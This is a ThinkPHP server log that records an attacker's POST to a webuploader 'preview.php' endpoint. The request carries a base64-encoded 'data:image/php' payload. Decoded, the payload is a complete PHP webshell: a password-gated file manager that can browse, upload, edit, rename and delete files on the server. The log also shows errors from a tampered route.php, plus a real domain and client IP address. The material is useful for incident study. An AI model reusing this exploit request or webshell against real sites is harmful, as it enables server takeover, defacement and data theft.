vdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:06+08:00 ] 119.42.146.234 POST 51tianwei.com/Theme/assets/webuploader/0.1.15/server/preview.php [运行时间:0.002770s] [吞吐率:361.02req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Theme', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksI